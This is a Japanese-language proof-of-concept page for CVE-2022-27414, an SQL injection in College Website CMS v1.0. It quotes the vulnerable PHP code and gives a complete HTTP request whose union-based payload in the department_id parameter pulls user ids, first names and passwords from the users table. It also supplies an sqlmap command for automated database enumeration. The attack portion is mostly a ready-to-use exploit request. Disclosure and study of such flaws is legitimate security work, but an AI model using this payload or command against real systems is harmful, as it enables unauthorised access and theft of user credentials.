CVE-2022-27414 - SQLインジェクション

College Website CMS v1.0 - CVE-2022-27414 - SQLインジェクション

CVE URL

---

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27414

以下がPoC

脆弱なコード

---

"cwms\departments\index.php"の9行目以降から始まる

<?php
$departments = $conn->query("SELECT * FROM `department_list` where delete_flag = 0 and `status` = 1 order by `name` asc");
while ($row = $departments->fetch_assoc()):
?>
                    <div class="list-group-item">
                        <h3><b><?=$row['name'] ?></b></h3>
                        <hr>
                        <p><?=$row['description'] ?></p>
                        <div class="text-right">
                            <a href="./?p=courses&department_id=<?=$row['id'] ?>">List Courses</a>
                        </div>

リクエスト (PoC)

---

GET /cwms/?p=courses&department_id=1%27%20union%20all%20select%201,(SELECT+GROUP_CONCAT(id,firstname,password+SEPARATOR+0x3c62723e)+FROM+cwms_db.users),3,4,5,6,7--%20- HTTP/1.1
Host: 192.168.8.121
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b4rppi73ltkm5vh89ad4kl7p6m
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

sqlmap コマンド (Auto)

---

sudo sqlmap -u 'http://localhost/cwms/?p=courses&department_id=1' --dbs

パラメータ情報

Type : Union-based
payload : http://localhost/cwms/?p=courses&department_id=1' union all select 1 (SELECT+GROUP_CONCAT(id,firstname,password+SEPARATOR+0x3c62723e)+FROM+cwms_db.users),3,4,5,6,7-- -

発見者

Ayed AlQahtani